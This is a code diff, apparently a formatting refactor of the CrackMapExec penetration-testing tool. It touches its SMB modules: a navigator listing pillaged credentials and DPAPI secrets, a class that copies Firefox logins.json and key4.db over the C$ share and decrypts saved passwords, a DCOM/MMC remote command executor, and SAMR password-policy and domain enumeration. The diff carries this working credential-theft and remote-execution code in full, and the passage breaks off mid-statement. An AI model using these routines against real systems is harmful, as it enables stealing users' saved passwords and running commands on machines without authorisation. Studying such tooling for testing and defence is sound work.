> 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "iex": secrets = self.db.get_dpapi_secrets(dpapi_type="IEX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "firefox": secrets = self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") else: secrets = self.db.get_dpapi_secrets(filter_term=filter_term) if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") def help_dpapi(self): help_string = """ @@ -470,22 +564,25 @@ class navigator(DatabaseNavigator): if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] cred_id_list = [] for cred in creds: - cred_id = cred[0] - cred_id_list.append(cred_id) - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - pillaged_from = cred[5] + cred_id_list.append(cred[0]) + data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) - data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Credential(s)') + print_table(data, title="Credential(s)") - data = [['GroupID', 'Domain', 'Name']] + data = [["GroupID", "Domain", "Name"]] for cred_id in cred_id_list: links = self.db.get_group_relations(user_id=cred_id) @@ -499,9 +596,9 @@ class navigator(DatabaseNavigator): name = group[2] data.append([group_id, domain, name]) - print_table(data, title='Member of Group(s)') + print_table(data, title="Member of Group(s)") - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] + data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -510,14 +607,9 @@ class navigator(DatabaseNavigator): hosts = self.db.get_hosts(host_id) for host in hosts: - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] + data.append([host[0], host[1], host[2], host[3], host[4]]) - data.append([host_id, ip, hostname, domain, os]) - print_table(data, title='Admin Access to Host(s)') + print_table(data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ @@ -540,7 +632,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if input("This will destroy all data in the current database, are you SURE you" " want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): @@ -555,9 +647,9 @@ class navigator(DatabaseNavigator): """ Tab-complete 'hosts' commands. """ - commands = ["add", "remove", "dc"] + commands = ("add", "remove", "dc") - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -565,8 +657,8 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands. """ - commands = ["add", "remove", "hash", "plaintext"] + commands = ("add", "remove", "hash", "plaintext") - mline = line.partition(' ')[2] + mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/protocols/smb/firefox.py b/cme/protocols/smb/firefox.py index e5e07a7d..bd889aa6 100644 --- a/cme/protocols/smb/firefox.py +++ b/cme/protocols/smb/firefox.py @@ -7,36 +7,46 @@ import json import ntpath import sqlite3 import tempfile -from Cryptodome.Cipher import AES,DES3 +from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection -CKA_ID = unhexlify('f8000000000000000000000000000001') +CKA_ID = unhexlify("f8000000000000000000000000000001") + class FirefoxData: - def __init__(self, winuser: str, url:str, username:str, password:str): + def __init__(self, winuser: str, url: str, username: str, password: str): self.winuser = winuser self.url = url self.username = username self.password = password - + class FirefoxTriage: """ - Firefox by @zblurx - Inspired by firefox looting from DonPAPI - https://github.com/login-securite/DonPAPI + Firefox by @zblurx + Inspired by firefox looting from DonPAPI + https://github.com/login-securite/DonPAPI """ - firefox_generic_path = 'Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles' - share = 'C$' - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] - def __init__(self, target, logger, conn:DPLootSMBConnection = None): + firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" + share = "C$" + false_positive = ( + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ) + + def __init__(self, target, logger, conn: DPLootSMBConnection = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection = None): + def upgrade_connection(self, connection=None): self.conn = DPLootSMBConnection(self.target) if connection is not None: self.conn.smb_session = connection @@ -54,61 +64,65 @@ class FirefoxTriage: try: directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user)) except Exception as e: - if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.debug(e) if directories is None: continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: - logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" + logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: - continue # No logins.json file found + continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: - continue # No logins profile found + continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) if key4_data is None: continue key = self.get_key(key4_data=key4_data) - if key is None and self.target.password != '': - key = self.get_key(key4_data=key4_data, master_password=self.target.password.encode()) + if key is None and self.target.password != "": + key = self.get_key( + key4_data=key4_data, + master_password=self.target.password.encode(), + ) if key is None: continue for username, pwd, host in logins: - decoded_username = self.decrypt(key=key, iv=username[1],ciphertext=username[2]).decode('utf-8') - password = self.decrypt(key=key, iv=pwd[1],ciphertext=pwd[2]).decode('utf-8') + decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") + password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append(FirefoxData( - winuser=user, - url=host, - username=decoded_username, - password=password, - )) + firefox_data.append( + FirefoxData( + winuser=user, + url=host, + username=decoded_username, + password=password, + ) + ) except Exception as e: - if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue - print(e) - self.logger.debug(e) + self.logger.exception(e) return firefox_data - def get_login_data(self, logins_data): - logins = [] json_logins = json.loads(logins_data) - if 'logins' not in json_logins: - return logins # No logins key in logins.json file - for row in json_logins['logins']: - logins.append(( - self.decode_login_data(row['encryptedUsername']), - self.decode_login_data(row['encryptedPassword']), - row['hostname']) + if "logins" not in json_logins: + return [] # No logins key in logins.json file + logins = [ + ( + self.decode_login_data(row["encryptedUsername"]), + self.decode_login_data(row["encryptedPassword"]), + row["hostname"], ) + for row in json_logins["logins"] + ] return logins - def get_key(self, key4_data, master_password=b''): + def get_key(self, key4_data, master_password=b""): fh = tempfile.NamedTemporaryFile() fh.write(key4_data) fh.seek(0) @@ -116,7 +130,7 @@ class FirefoxTriage: cursor = db.cursor() cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") row = next(cursor) - + if row: global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password) if global_salt: @@ -136,38 +150,42 @@ class FirefoxTriage: except Exception as e: self.logger.debug(e) fh.close() - return b'' + return b"" fh.close() - def is_master_password_correct(self, key_data, master_password=b''): + def is_master_password_correct(self, key_data, master_password=b""): try: entry_salt = b"" global_salt = key_data[0] # Item1 item2 = key_data[1] decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) - if cleartext_data != 'password-check\x02\x02'.encode(): - return '', '', '' + if cleartext_data != "password-check\x02\x02".encode(): + return "", "", "" return global_salt, master_password, entry_salt except Exception as e: self.logger.debug(e) - return '', '', '' + return "", "", "" def get_users(self): users = list() - users_dir_path = 'Users\\*' + users_dir_path = "Users\\*" directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) + for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: users.append(d.get_longname()) - return users @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) - return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() + return ( + asn1data[0][0].asOctets(), + asn1data[0][1][1].asOctets(), + asn1data[0][2].asOctets(), + ) @staticmethod def decrypt(key, iv, ciphertext): @@ -189,13 +207,13 @@ class FirefoxTriage: """ # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) - if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC + if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() - pes = entry_salt + '\x00'.encode() * (20 - len(entry_salt)) + pes = entry_salt + "\x00".encode() * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() @@ -205,22 +223,21 @@ class FirefoxTriage: key = k[:24] cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv) return cipher.decrypt(cipher_t) - elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 - - assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' - assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' - assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' + elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2 + assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12" + assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" + assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42" # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) - assert key_length == 32 + assert key_length == 32 k = sha1(global_salt + master_password).digest() - key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) + key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 - iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() + iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() cipher = AES.new(key, AES.MODE_CBC, iv) @@ -228,4 +245,4 @@ class FirefoxTriage: if decrypted is not None: return decrypted else: - return None \ No newline at end of file + return None diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 1ad4d65d..39b049ba 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -7,10 +7,10 @@ # for more information. # # A similar approach to wmiexec but executing commands through MMC. -# Main advantage here is it runs under the user (has to be Admin) +# Main advantage here is it runs under the user (has to be Admin) # account, not SYSTEM, plus, it doesn't generate noisy messages # in the event log that smbexec.py does when creating a service. -# Drawback is it needs DCOM, hence, I have to be able to access +# Drawback is it needs DCOM, hence, I have to be able to access # DCOM ports at the target machine. # # Original discovery by Matt Nelson (@enigma0x3): @@ -28,16 +28,34 @@ # import logging -import os +from os.path import join as path_join from time import sleep from cme.helpers.misc import gen_random_string -from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ - VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcom.oaut import ( + IID_IDispatch, + string_to_bin, + IDispatch, + DISPPARAMS, + DISPATCH_PROPERTYGET, + VARIANT, + VARENUM, + DISPATCH_METHOD, +) from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ - OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ - IRemUnknown2, INTERFACE +from impacket.dcerpc.v5.dcomrt import ( + OBJREF, + FLAGS_OBJREF_CUSTOM, + OBJREF_CUSTOM, + OBJREF_HANDLER, + OBJREF_EXTENDED, + OBJREF_STANDARD, + FLAGS_OBJREF_HANDLER, + FLAGS_OBJREF_STANDARD, + FLAGS_OBJREF_EXTENDED, + IRemUnknown2, + INTERFACE, +) from impacket.dcerpc.v5.dtypes import NULL @@ -48,41 +66,50 @@ class MMCEXEC: self.__password = password self.__smbconnection = smbconnection self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share_name = share_name self.__output = None - self.__outputBuffer = b'' - self.__shell = 'c:\\windows\\system32\\cmd.exe' - self.__pwd = 'C:\\' + self.__outputBuffer = b"" + self.__shell = "c:\\windows\\system32\\cmd.exe" + self.__pwd = "C:\\" self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: - self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash, self.__nthash = hashes.split(":") - dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) + dcom = DCOMConnection( + self.__host, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + None, + oxidResolver=True, + ) try: - iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iInterface = dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch) iMMC = IDispatch(iInterface) - resp = iMMC.GetIDsOfNames(('Document',)) + resp = iMMC.GetIDsOfNames(("Document",)) dispParams = DISPPARAMS(None, False) - dispParams['rgvarg'] = NULL - dispParams['rgdispidNamedArgs'] = NULL - dispParams['cArgs'] = 0 - dispParams['cNamedArgs'] = 0 + dispParams["rgvarg"] = NULL + dispParams["rgdispidNamedArgs"] = NULL + dispParams["cArgs"] = 0 + dispParams["cNamedArgs"] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) - iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) - resp = iDocument.GetIDsOfNames(('ActiveView',)) + iDocument = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"])) + resp = iDocument.GetIDsOfNames(("ActiveView",)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) - iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) - pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + iActiveView = IDispatch(self.getInterface(iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[0] - pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + pQuit = iMMC.GetIDsOfNames(("Quit",))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) @@ -94,23 +121,30 @@ class MMCEXEC: def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance - objRefType = OBJREF(''.join(resp))['flags'] + objRefType = OBJREF("".join(resp))["flags"] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: - objRef = OBJREF_CUSTOM(''.join(resp)) + objRef = OBJREF_CUSTOM("".join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: - objRef = OBJREF_HANDLER(''.join(resp)) + objRef = OBJREF_HANDLER("".join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: - objRef = OBJREF_STANDARD(''.join(resp)) + objRef = OBJREF_STANDARD("".join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: - objRef = OBJREF_EXTENDED(''.join(resp)) + objRef = OBJREF_EXTENDED("".join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( - INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], - oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], - target=interface.get_target())) + INTERFACE( + interface.get_cinstance(), + None, + interface.get_ipidRemUnknown(), + objRef["std"]["ipid"], + oxid=objRef["std"]["oxid"], + oid=objRef["std"]["oxid"], + target=interface.get_target(), + ) + ) def execute(self, command, output=False): self.__retOutput = output @@ -125,8 +159,7 @@ class MMCEXEC: dispParams["cArgs"] = 0 dispParams["cNamedArgs"] = 0 - self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, - 0, [], []) + self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) return True def execute_remote(self, data): @@ -169,19 +202,19 @@ class MMCEXEC: dispParams["rgvarg"].append(arg1) dispParams["rgvarg"].append(arg0) - self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, - 0, [], []) + self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output_fileless() def output_callback(self, data): self.__outputBuffer += data def get_output_fileless(self): - if not self.__retOutput: return + if not self.__retOutput: + return while True: try: - with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: + with open(path_join("/tmp", "cme_hosted", self.__output), "r") as output: self.output_callback(output.read()) break except IOError: diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index e7d991bd..b519708f 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -#Stolen from https://github.com/Wh1t3Fox/polenum +# Stolen from https://github.com/Wh1t3Fox/polenum from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.dcerpc.v5 import transport, samr @@ -18,7 +18,7 @@ def d2b(a): if len(t2bin) != 8: for x in range(6 - len(t2bin)): t2bin.insert(0, 0) - return ''.join([str(g) for g in t2bin]) + return "".join([str(g) for g in t2bin]) def convert(low, high, lockout=False): @@ -31,21 +31,21 @@ def convert(low, high, lockout=False): return "None" if not lockout: - if (low != 0): - high = abs(high+1) + if low != 0: + high = abs(high + 1) else: high = abs(high) low = abs(low) - tmp = low + (high)*16**8 # convert to 64bit int - tmp *= (1e-7) # convert to seconds + tmp = low + (high) * 16**8 # convert to 64bit int + tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) try: minutes = int(strftime("%M", gmtime(tmp))) hours = int(strftime("%H", gmtime(tmp))) - days = int(strftime("%j", gmtime(tmp)))-1 + days = int(strftime("%j", gmtime(tmp))) - 1 except ValueError as e: return "[-] Invalid TIME" @@ -71,28 +71,28 @@ class PassPolDump: } def __init__(self, connection): - self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.logger = connection.logger + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.aesKey = None self.doKerberos = connection.kerberos self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys() self.pass_pol = {} if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash - + if self.password is None: - self.password = '' + self.password = "" def dump(self): # Try all requested protocols until one works. @@ -113,7 +113,7 @@ class PassPolDump: self.lmhash, self.nthash, self.aesKey, - doKerberos=self.doKerberos + doKerberos=self.doKerberos, ) try: self.fetchList(rpctransport) @@ -136,20 +136,29 @@ class PassPolDump: if resp["ErrorCode"] != 0: raise Exception("Connect error") - resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"], - enumerationContext=0, - preferedMaximumLength=500) + resp2 = samr.hSamrEnumerateDomainsInSamServer( + dce, + serverHandle=resp["ServerHandle"], + enumerationContext=0, + preferedMaximumLength=500, + ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") - resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"], - name=resp2["Buffer"]["Buffer"][0]["Name"]) + resp3 = samr.hSamrLookupDomainInSamServer( + dce, + serverHandle=resp["ServerHandle"], + name=resp2["Buffer"]["Buffer"][0]["Name"], + ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") - resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"], - desiredAccess=samr.MAXIMUM_ALLOWED, - domainId=resp3["DomainId"]) + resp4 = samr.hSamrOpenDomain( + dce, + serverHandle=resp["ServerHandle"], + desiredAccess=samr.MAXIMUM_ALLOWED, + domainId=resp3["DomainId"], + ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") @@ -157,23 +166,41 @@ class PassPolDump: domainHandle = resp4["DomainHandle"] # End Setup - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, + ) self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None" self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" - self.__max_pass_age = convert(int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart'])) - self.__min_pass_age = convert(int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MinPasswordAge']['HighPart'])) + self.__max_pass_age = convert( + int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), + int(re["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]), + ) + self.__min_pass_age = convert( + int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), + int(re["Buffer"]["Password"]["MinPasswordAge"]["HighPart"]), + ) self.__pass_prop = d2b(re["Buffer"]["Password"]["PasswordProperties"]) - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, + ) self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True) self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True) self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None" - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) - self.__force_logoff_time = convert(re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], re['Buffer']['Logoff']['ForceLogoff']['HighPart']) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation, + ) + self.__force_logoff_time = convert( + re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], + re["Buffer"]["Logoff"]["ForceLogoff"]["HighPart"], + ) self.pass_pol = { "min_pass_len": self.__min_pass_len, @@ -184,20 +211,19 @@ class PassPolDump: "rst_accnt_lock_counter": self.__rst_accnt_lock_counter, "lock_accnt_dur": self.__lock_accnt_dur, "accnt_lock_thres": self.__accnt_lock_thres, - "force_logoff_time": self.__force_logoff_time + "force_logoff_time": self.__force_logoff_time, } dce.disconnect() def pretty_print(self): - PASSCOMPLEX = { 5: "Domain Password Complex:", 4: "Domain Password No Anon Change:", 3: "Domain Password No Clear Change:", 2: "Domain Password Lockout Admins:", 1: "Domain Password Store Cleartext:", - 0: "Domain Refuse Password Change:" + 0: "Domain Refuse Password Change:", } cme_logger.debug("Found domain(s):") @@ -220,4 +246,4 @@ class PassPolDump: self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}") - self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") \ No newline at end of file + self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") diff --git a/cme/protocols/smb/remotefile.py b/cme/protocols/smb/remotefile.py index a33212ba..370ccfa0 100644 --- a/cme/protocols/smb/remotefile.py +++ b/cme/protocols/smb/remotefile.py @@ -2,8 +2,15 @@ # -*- coding: utf-8 -*- from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA + class RemoteFile: - def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): + def __init__( + self, + smbConnection, + fileName, + share="ADMIN$", + access=FILE_READ_DATA | FILE_WRITE_DATA, + ): self.__smbConnection = smbConnection self.__share = share self.__access = access @@ -13,7 +20,7 @@ class RemoteFile: self.__currentOffset = 0 def open(self): - self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) + self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=self.__access) def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file @@ -22,10 +29,10 @@ class RemoteFile: def read(self, bytesToRead): if bytesToRead > 0: - data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) + data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data - return '' + return "" def close(self): if self.__fid is not None: @@ -39,4 +46,4 @@ class RemoteFile: return self.__currentOffset def __str__(self): - return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}" \ No newline at end of file + return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}" diff --git a/cme/protocols/smb/samrfunc.py b/cme/protocols/smb/samrfunc.py index c2c74b80..623a1728 100644 --- a/cme/protocols/smb/samrfunc.py +++ b/cme/protocols/smb/samrfunc.py @@ -5,49 +5,52 @@ # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) import logging + from impacket.dcerpc.v5 import transport, lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE - +from impacket.nmb import NetBIOSError +from impacket.smbconnection import SessionError from cme.logger import cme_logger class SamrFunc: def __init__(self, connection): - self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.logger = connection.logger + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' - self.aesKey = None, + self.lmhash = "" + self.nthash = "" + self.aesKey = (None,) self.doKerberos = connection.kerberos if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: - self.password = '' + self.password = "" self.samr_query = SAMRQuery( username=self.username, password=self.password, remote_name=self.addr, remote_host=self.addr, - kerberos=self.doKerberos + kerberos=self.doKerberos, ) self.lsa_query = LSAQuery( username=self.username, password=self.password, remote_name=self.addr, remote_host=self.addr, - 